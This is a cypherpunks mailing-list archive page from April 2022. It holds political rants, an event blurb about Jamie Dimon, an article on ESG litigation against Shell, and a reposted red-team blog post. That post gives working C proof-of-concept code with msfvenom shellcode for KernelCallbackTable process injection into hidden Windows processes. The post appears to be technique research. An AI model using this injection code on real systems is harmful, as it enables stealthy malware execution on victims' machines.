April 2022 - cypherpunks@lists.ogf.org

To baldly dare new relationships, new projects, new steps, and experiments.
by professor rat 26 Apr '22

26 Apr '22

To question all authority, to reject all kinds of power and to enter into conflict with them is a continuous fight. A fight in which we‘re trying to develop free relationships, beyond the existing order. But to create something new also always means to be drawn into the unknown https://anarchistnews.org/content/der-tat-–-english-version-–-issue-01

1 0

Jamie Dimon, Chairman & CEO, JP Morgan Chase on Rebuilding a More Inclusive Economy
by Gunnar Larson 26 Apr '22

26 Apr '22

*Jamie Dimon, Chairman & CEO, JP Morgan Chase on Rebuilding a More Inclusive Economy: * http://www.hbscdallas.org/s/1738/cc/21/page.aspx?sid=1738&gid=23&pgid=71605… .,York%20University%20School%20of%20Medicine. *James Dimon (MBA '82), Chairman and CEO, JP Morgan Chase* James Dimon became Chairman of the Board on December 31, 2006, and has been Chief Executive Officer since December 31, 2005. He had been President from 2004 until 2018 and Chief Operating Officer from 2004 until 2005 following JPMorgan Chase’s merger with Bank One Corporation. At Bank One he was Chairman and Chief Executive Officer from March 2000 to July 2004. Before joining Bank One, Mr. Dimon held a wide range of executive roles at Citigroup Inc., the Travelers Group, Commercial Credit Company and American Express Company. Mr. Dimon is on the Board of Directors of Harvard Business School and Catalyst; Board Member of the Business Roundtable; and a member of The Business Council. He is also on the Board of Trustees of New York University School of Medicine. Mr. Dimon does not serve on the board of any publicly traded company other than JPMorgan Chase. -------- *Jamie Dimon (MBA ’82)* <http://www.hbscdallas.org/s/1738/cc/index2.aspx?sid=1738&gid=23&pgid=71605#…> is perennially named the most admired Fortune 500 CEO. While 2020 was another strong year for JPMorgan Chase, Dimon is addressing the current challenges of an economy impacted by COVID-19, a global recession and economic inequality and racial equity with bold initiatives. In October 2020, Dimon announced a $30 billion initiative by JPMorgan Chase over five years to advance racial equity. With the recent passage of the $1.9 trillion stimulus bill, there has been a lot of talk about possibly overdoing it and flooding the economy with extra cash, thereby stoking fears of inflation. Larry Summers has argued that the stimulus might be too big, while Jay Powell and Janet Yellen feel the stimulus may not be big enough. JPMorgan Chase Chairman and CEO Jamie Dimon notes there are merits to both sides of the argument. “It’s not a binary subject. Democrats and Republicans are like ships passing the night. There are legitimate complaints about items in this bill that have nothing to do with COVID,” Dimon told Bloomberg Markets recently. “[But] there are a lot of people who need help. Both are true. If you want to go through it, you have to go through the detail.” Dimon is optimistic about a return to normalcy by the summer. This comes at a time when banks and other businesses are figuring out how to bring workers back to the office safely after a successful roll out of the vaccines. JPMorgan Chase continues to innovate in finance, creating its own digital currency and a business unit devoted to blockchain. In addition, sustainability and investing in environmentally friendly businesses continues to be a priority. Jamie Dimon, will have an exclusive conversation with HBS Clubs across the United States hosted by HBS Club of NY and co-sponsored by the Boston, Chicago, Houston, Northern California and Southern California HBS Clubs to discuss rebuilding a more inclusive economy and the other important challenges facing JP Morgan and our Nation. Join us for this unforgettable discussion. -- *Gunnar Larson - xNY.io <http://www.xNY.io> | Bank.org <http://Bank.org>* MSc <https://www.unic.ac.cy/blockchain/msc-digital-currency/?utm_source=Google&u…> - Digital Currency MBA <https://www.unic.ac.cy/business-administration-entrepreneurship-and-innovat…> - Entrepreneurship and Innovation (ip) G(a)xNY.io +1-646-454-9107 New York, New York 10001

3 2

Cybernetic OODA looping for Dummies
by professor rat 26 Apr '22

26 Apr '22

The OODA loop is the cycle observe–orient–decide–act, developed by military strategist and … It is especially applicable to cyber security and cyberwarfare Boyd’s theory of conflict advocates a form of maneuver warfare that is more psychological and temporal in its orientation than physical and spatial. Its military object is “to break the spirit and will of the enemy command by creating surprising and dangerous operational or strategic situations.” To achieve this end, one must operate at a faster tempo or rhythm than one’s adversaries. Cybernetic Aspects: The simplest explanation of Cybernetics is (from Paul Pangaro): Cybernetics is about having a goal and taking action to achieve that goal. Knowing whether you have reached your goal (or at least are getting closer to it) requires “feedback”, a concept that was made rigorous by cybernetics. The term cybernetics comes from a Greek word than means “steering”. Cybernetics is the art of steering towards the goal. This post bought to you by CYPHERPUNK 2027! Viva la revolution.

1 0

Predictive coding without dead-pools
by professor rat 26 Apr '22

26 Apr '22

As a mechanistic theory, predictive coding has not been mapped out physiologically on the neuronal level. One of the biggest challenges to the theory has been the imprecision of exactly how prediction error minimization works https://en.wikipedia.org/wiki/Predictive_coding

1 0

Another grotesque senile version of Gramps, yelling incoherent things at a squirrel
by professor rat 26 Apr '22

26 Apr '22

I’m opposed to Trump being reinstated to Twitter, for numerous reasons. You don’t let a deranged villain out of prison and toss him the keys to a car just because you know he’s going to drive it into a tree. But if Trump does return to Twitter, it won’t somehow magically boost Trump’s 2024 prospects. Instead it’ll reveal he never had any 2024 prospects. https://www.palmerreport.com/analysis/the-real-fallout-if-donald-trump-is-r… Reposts not endorsements.

1 0

This sort of thing has happened before
by professor rat 26 Apr '22

26 Apr '22

Four snore and diem years ago a Fedbook was bought forth dedicated to the notion that CIA fascism ought to govern the whole world. Now we are engaged in a great struggle testing whether this proposition - or cryptoanarchism - shall dominate the world. The world will little note what we say here but they can never forget what we did here. Establishing the basis for a globalized society of world peace and plenty. So that cryptoanarchism of for and by people shall never perish from this free netspace. https://stiffs.com/celebrity/markzuckerberg

1 0

Elon Musk wants the identity paperwork of every human on earth available via a USG warrant (to say nothing of FISA 702).
by professor rat 26 Apr '22

26 Apr '22

Elon Musk wants the identity paperwork of every human on earth available via a USG warrant (to say nothing of FISA 702). Musk also confirmed his ' render unto Caesar " stance about compliance with strict laws passed by every local tinpot dictatorship around the world. What a prince this man is. Feh.

1 0

Musky Twitter to ' authenticate all humans '
by professor rat 26 Apr '22

26 Apr '22

Its like Mark Zuckerberg is taking over Twitter. And Donald Dumbfuck sez he won't be back on it. Yeah right. Elon Drax is too stupid to be an activist let alone any sort of anarchist. I wish him luck with a capital " F " - Break a leg, Elon.

1 0

ESG Disputes in England: ClientEarth’s Derivative Action Against Shell’s Board Signals That The English Courts May Be Considered An Increasingly Attractive Forum
by Gunnar Larson 25 Apr '22

25 Apr '22

ClientEarth’s claim The 2021 decision in *Milieudefensie et al. v Royal Dutch Shell plc*, handed down by the Hague District Court, marked the first major case to hold a multinational corporation responsible for environmental damage. While the Netherlands remain some way ahead of England as a forum of choice for ESG-related litigation, recent developments suggest that the position is beginning to change. On 15 March 2022, ClientEarth, a non-profit environmental law organisation that is also a shareholder in Shell plc, took the first steps in commencing a derivative action <https://www.clientearth.org/latest/latest-updates/news/we-re-taking-legal-a…>in England against Shell’s 13 executive and non-executive directors. ClientEarth asserts that Shell’s board of directors is personally liable for the company’s failure to manage its climate risk; that is, to implement a climate strategy that truly aligns with the Paris Agreement, including its failure to produce operating plans and budgets that reflect the company’s “target to become a net-zero emissions energy business by 2050 <https://www.shell.com/media/news-and-media-releases/2021/shell-accelerates-…> ”. Pointing to a number of issues that it describes as “serious shortcomings” ClientEarth asserts that, in failing to manage the company’s climate risk, the board members have purportedly breached their statutory duties under English law, specifically the duty to promote the success of the company pursuant to section 172 of the Companies Act 2006. Section 172 of the Companies Act 2006 provides that a director must act in the way that he considers, in good faith, would be most likely to promote the success of the company for the benefit of its members as a whole. In doing so, directors must have regard to a non-exhaustive list of matters, including the likely consequences of the decision in the long-term and the impact of the company’s operations on the community and the environment. In the present context, where a company’s climate risk poses a foreseeable and material financial risk to the company, and where the board of that company fails to properly consider that risk, or unreasonably fails to act in response to that risk, they could potentially face liability under section 172. What makes ClientEarth’s present claim particularly interesting is that it marks the first attempt to hold a company’s board of directors personally liable for mismanagement of the company’s climate risk. Interestingly, this development comes just a few months after Shell’s shareholders approved the relocation of the company’s headquarters to London from the Netherlands (a decision which, according to various unconfirmed press reports, may have been partly intended to mitigate the company’s exposure to future climate litigation in the Netherlands, bearing in mind the country’s precedent for ESG-related proceedings and following the 2021 *Milieudefensie *decision). At present, the English claim is in its infancy. ClientEarth’s FAQs statement <https://www.clientearth.org/media/puojyzvy/clientearth-shareholder-litigati…> relating to the claim indicates that a pre-action letter has been sent to Shell’s board, notifying it of the claim and giving it an opportunity to respond. ClientEarth has stated that it will review that response, before formally filing the claim in the English High Court. Further recent developments in England In addition, two recent procedural decisions by the Supreme Court have demonstrated the English courts’ willingness to entertain claims that target UK parent companies for the ESG-related transgressions of their foreign subsidiaries. The Supreme Court’s judgments in* Vedanta Resources PLC and another (Appellants) v Lungowe and others (Respondents) <https://www.supremecourt.uk/cases/docs/uksc-2017-0185-judgment.pdf>* [2019] UKSC 20 (“Vedanta”) and *Okpabi & Ors v Royal Dutch Shell plc and Shell Petroleum Development Company of Nigeria Ltd <https://www.supremecourt.uk/cases/docs/uksc-2018-0068-judgment.pdf>* [2021] UKSC 3 (“Okpabi”) confirm that, in certain cases, statements in published documents and policies may provide some basis on which to find UK parent companies liable in tort for harm caused by their subsidiaries in foreign jurisdictions. The claimants in these cases relied on such statements to assert that the parents themselves owed a duty of care in connection with their subsidiaries’ ESG-related breaches. - In *Vedanta*, a group of Zambian citizens brought a claim against Vedanta Resources plc (a UK mining company, formerly listed on the London Stock Exchange) after a mine owned and operated by its Zambian subsidiary (KCM) discharged toxic matter into watercourses used for local irrigation and drinking. The English courts considered that the claimants were able to show a “good arguable case” (based on the specific facts) that Vedanta had exercised a sufficiently high level of supervision and control of activities at the mine so as to owe a duty of care to the claimants, meaning that the English courts had jurisdiction over the claim. In reaching its decision, the Court relied upon various public statements made by Vedanta demonstrating its involvement in KCM management (including a report entitled “Embedding Sustainability” which stated that oversight of all Vedanta’s subsidiaries rested with the Vedanta board, public statements regarding Vedanta’s commitment to addressing group-wide environmental control and sustainability standards, and the existence of a management services agreement between Vedanta and KCM). - In *Okpabi *it was alleged that numerous oil spills had occurred from oil pipelines and infrastructure operated in the vicinity of the claimants’ communities in Nigeria, causing widespread environmental damage including serious water and ground contamination. The claimants asserted that the spills were caused by the negligence of the pipeline operator, a Nigerian registered subsidiary of Royal Dutch Shell Plc, a UK domiciled company and the parent company of the multinational Shell group. Overturning the decision of the Court of Appeal, the Supreme Court held that, based on the specific facts, the UK parent exercised a degree of control over its subsidiary that was sufficient to establish that a duty of care existed. In reaching its decision, the Court placed weight on internal published documents said to demonstrate that the Shell group was deliberately structured in a way that enabled the UK parent to direct, control and intervene in the management of its subsidiaries’ operations. The judgments above relate to jurisdictional challenges where the claimants first needed to establish a “good arguable case” that a duty of care was owed by the UK parent in order that the English courts could then assert jurisdiction over the underlying claims. As at April 2022, neither *Vedanta *or *Okpabi *have been subject to a full trial on the merits and there are no substantive updates, although we continue to monitor developments. More broadly, we anticipate that these decisions will continue to pique the interests of claimant law firms and litigation funders who operate in the ESG sphere and, in due course, encourage similar claims in the English courts.

1 0

Adventures with KernelCallbackTable Injection
by zeynepaydogan 25 Apr '22

25 Apr '22

https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html Adventures with KernelCallbackTable Injection 21 Apr 2022 » [redteam](https://captmeelo.com/category/redteam), [maldev](https://captmeelo.com/category/maldev) Lately, I came across with KernelCallbackTable which could be abused to inject shellcode in a remote process. This method of process injection was used by [FinFisher/FinSpy](https://www.microsoft.com/security/blog/2018/03/01/finfis… and [Lazarus](https://blog.malwarebytes.com/threat-intelligence/2022/01/north-ko…. This post walks through the journey I took and the hurdles I encountered to make process injection via KernelCallbackTable work according to what I wanted. The Problems When I Googled about this technique, the very first result that I got was none other than the [post](https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/) written by [modexpblog](https://twitter.com/modexpblog). So for this experiment, I used the [code](https://github.com/odzhan/injection/blob/master/kct/kct.c) he provided as my basis and slightly modified it. #include <Windows.h> #include <stdio.h> #include "struct.h" int main () { // msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c unsigned char payload [] = " \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00 " ; SIZE_T payloadSize = sizeof ( payload ); // Find a window for explorer.exe HWND hWindow = FindWindow ( L"Shell_TrayWnd" , NULL ); printf ( "[+] Window Handle: 0x%p \n " , hWindow ); // Obtain the process pid and open it DWORD pid ; GetWindowThreadProcessId ( hWindow , & pid ); printf ( "[+] Process ID: %d \n " , pid ); HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ); printf ( "[+] Process Handle: 0x%p \n " , hProcess ); // Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi ; pNtQueryInformationProcess myNtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress ( GetModuleHandle ( L"ntdll.dll" ), "NtQueryInformationProcess" ); myNtQueryInformationProcess ( hProcess , ProcessBasicInformation , & pbi , sizeof ( pbi ), NULL ); PEB peb ; ReadProcessMemory ( hProcess , pbi . PebBaseAddress , & peb , sizeof ( peb ), NULL ); printf ( "[+] PEB Address: 0x%p \n " , pbi . PebBaseAddress ); KERNELCALLBACKTABLE kct ; ReadProcessMemory ( hProcess , peb . KernelCallbackTable , & kct , sizeof ( kct ), NULL ); printf ( "[+] KernelCallbackTable Address: 0x%p \n " , peb . KernelCallbackTable ); // Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx ( hProcess , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ); WriteProcessMemory ( hProcess , payloadAddr , payload , payloadSize , NULL ); printf ( "[+] Payload Address: 0x%p \n " , payloadAddr ); // 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx ( hProcess , NULL , sizeof ( kct ), MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); kct . __fnCOPYDATA = ( ULONG_PTR ) payloadAddr ; WriteProcessMemory ( hProcess , newKCTAddr , & kct , sizeof ( kct ), NULL ); printf ( "[+] __fnCOPYDATA: 0x%p \n " , kct . __fnCOPYDATA ); // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Remote process PEB updated \n " ); // Trigger execution of payload COPYDATASTRUCT cds ; WCHAR msg [] = L"Pwn" ; cds . dwData = 1 ; cds . cbData = lstrlen ( msg ) * 2 ; cds . lpData = msg ; SendMessage ( hWindow , WM_COPYDATA , ( WPARAM ) hWindow , ( LPARAM ) & cds ); printf ( "[+] Payload executed \n " ); // Restore original KernelCallbackTable WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & peb . KernelCallbackTable , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Original KernelCallbackTable restored \n " ); // Release memory for code and data VirtualFreeEx ( hProcess , payloadAddr , 0 , MEM_DECOMMIT | MEM_RELEASE ); VirtualFreeEx ( hProcess , newKCTAddr , 0 , MEM_DECOMMIT | MEM_RELEASE ); // Close handles CloseHandle ( hWindow ); CloseHandle ( hProcess ); printf ( "[+] Cleaned up \n " ); } The above PoC uses explorer.exe as the target process. This is done using the FindWindow() function to get a handle to the window class Shell_TrayWnd, which is associated with explorer.exe. Execution of the payload begins when the SendMessage() function is called. This happens since __fnCOPYDATA, which points to the payload’s address, gets triggered when the WM_COPYDATA message is sent. But why explorer.exe when there are other processes running on the system? That’s because the KernelCallbackTable that is found within the PEB only gets initialized when user32.dll, used by GUI processes, is loaded into the process’ memory. This means processes that do not load user32.dll won’t have the KernelCallbackTable field in the PEB. During my experiment, the PoC didn’t work and it keeps on crashing explorer.exe right after updating the target process’ PEB (by executing the below line of code). While explorer.exe auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when SendMessage() is called. // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); [Explorer Crashed] What if we target other GUI processes? I tried it by getting a handle to the window class Notepad (using the code below) and have notepad.exe run before executing the code. HWND hWindow = FindWindow ( L"Notepad" , NULL ); And it worked! The payload gets executed but the target process still crashed right after the call to SendMessage(). [Payload Executed but Target Process Crashed] The problems I see with this method are: - You have to first enumerate the window classes available on the system. (This is doable with EnumWindows() function.) - The target process crashes no matter what. (I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.) - The crash is visible to the user. Other’s Solution [ORCA666](https://twitter.com/ORCA10K) found a way to solve this issue by not targeting explorer.exe and by loading [user32.dll in memory](https://gitlab.com/ORCA666/kcthijack/-/blob/main/KCTHijack/main.c#L…. However, his approach loads user32.dll in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his [KCTHIJACK](https://gitlab.com/ORCA666/kcthijack) repo. His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process. My Solution Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do. First Attempt: FAILED! To achieve my goal, I used CreateProcess() to spawn an instance of notepad.exe and set the process creation flag dwFlags to CREATE_SUSPENDED to make it “hidden”. CreateProcess ( L"C: \\ Windows \\ System32 \\ notepad.exe" , NULL , NULL , NULL , FALSE , CREATE_SUSPENDED , NULL , NULL , & si , & pi ); Well, that didn’t work because a suspended process does not have any window in it. [Suspened Process has no Window] No window means no handle to obtain so injection and execution of payload are not possible. [ + ] Window Handle: 0x0000000000000000 [ + ] Process ID: 0 [ + ] Process Handle: 0x0000000000000000 [ + ] PEB Address: 0x0000020C2A583CC0 [ + ] KernelCallbackTable Address: 0x0000000000000000 [ + ] Payload Address: 0x0000000000000000 [ + ] __ fnCOPYDATA: 0x0000000000000000 [ + ] Remote process PEB updated [ + ] Payload executed [ + ] Original KernelCallbackTable restored [ + ] Cleaned up Second Attempt: FAILED! (again) Instead of resorting to the CREATE_SUSPENDED flag to hide the created process, I used the dwFlags and wShowWindow members of the STARTUPINFO structure and set their values to the following: si . dwFlags = STARTF_USESHOWWINDOW ; si . wShowWindow = SW_HIDE ; As for the process creation flag, I changed it from CREATE_SUSPENDED to CREATE_NEW_CONSOLE. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen. [Created Process with Window] Third Attempt: SUCCESS! After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A Sleep() function will fix the issue (I tried it and it worked). However, I don’t want to wait until the number of seconds passed in Sleep() lapsed. I used WaitForInputIdle() instead so it will only wait until the process has finished its initialization. WaitForInputIdle ( pi . hProcess , 1000 ); Here’s the final code that I came up with. #include <Windows.h> #include <stdio.h> #include "struct.h" int main () { // msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c unsigned char payload [] = " \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00 " ; SIZE_T payloadSize = sizeof ( payload ); // Create a sacrifical process PROCESS_INFORMATION pi ; STARTUPINFO si = { sizeof ( STARTUPINFO ) }; si . dwFlags = STARTF_USESHOWWINDOW ; si . wShowWindow = SW_HIDE ; CreateProcess ( L"C: \\ Windows \\ System32 \\ notepad.exe" , NULL , NULL , NULL , FALSE , CREATE_NEW_CONSOLE , NULL , NULL , & si , & pi ); // Wait for process initialization WaitForInputIdle ( pi . hProcess , 1000 ); // Find a window for explorer.exe HWND hWindow = FindWindow ( L"Notepad" , NULL ); printf ( "[+] Window Handle: 0x%p \n " , hWindow ); // Obtain the process pid and open it DWORD pid ; GetWindowThreadProcessId ( hWindow , & pid ); printf ( "[+] Process ID: %d \n " , pid ); HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ); printf ( "[+] Process Handle: 0x%p \n " , hProcess ); // Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi ; pNtQueryInformationProcess myNtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress ( GetModuleHandle ( L"ntdll.dll" ), "NtQueryInformationProcess" ); myNtQueryInformationProcess ( hProcess , ProcessBasicInformation , & pbi , sizeof ( pbi ), NULL ); PEB peb ; ReadProcessMemory ( hProcess , pbi . PebBaseAddress , & peb , sizeof ( peb ), NULL ); printf ( "[+] PEB Address: 0x%p \n " , pbi . PebBaseAddress ); KERNELCALLBACKTABLE kct ; ReadProcessMemory ( hProcess , peb . KernelCallbackTable , & kct , sizeof ( kct ), NULL ); printf ( "[+] KernelCallbackTable Address: 0x%p \n " , peb . KernelCallbackTable ); // Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx ( hProcess , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ); WriteProcessMemory ( hProcess , payloadAddr , payload , payloadSize , NULL ); printf ( "[+] Payload Address: 0x%p \n " , payloadAddr ); // 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx ( hProcess , NULL , sizeof ( kct ), MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); kct . __fnCOPYDATA = ( ULONG_PTR ) payloadAddr ; WriteProcessMemory ( hProcess , newKCTAddr , & kct , sizeof ( kct ), NULL ); printf ( "[+] __fnCOPYDATA: 0x%p \n " , kct . __fnCOPYDATA ); // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Remote process PEB updated \n " ); // Trigger execution of payload COPYDATASTRUCT cds ; WCHAR msg [] = L"Pwn" ; cds . dwData = 1 ; cds . cbData = lstrlen ( msg ) * 2 ; cds . lpData = msg ; SendMessage ( hWindow , WM_COPYDATA , ( WPARAM ) hWindow , ( LPARAM ) & cds ); printf ( "[+] Payload executed \n " ); } > NOTE: I already removed the cleanup code (like restoring the original KernelCallbackTable) because they don’t matter anymore since the target process has already crashed and exited. > The full project can be found [here](https://github.com/capt-meelo/KernelCallbackTable-Injection). And here it is in action. [Successful KernelCallbackTable Injection] Conclusion That’s it! That is how I modified the base PoC to make KernelCallbackTable process injection work according to what I wanted. If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)

3 4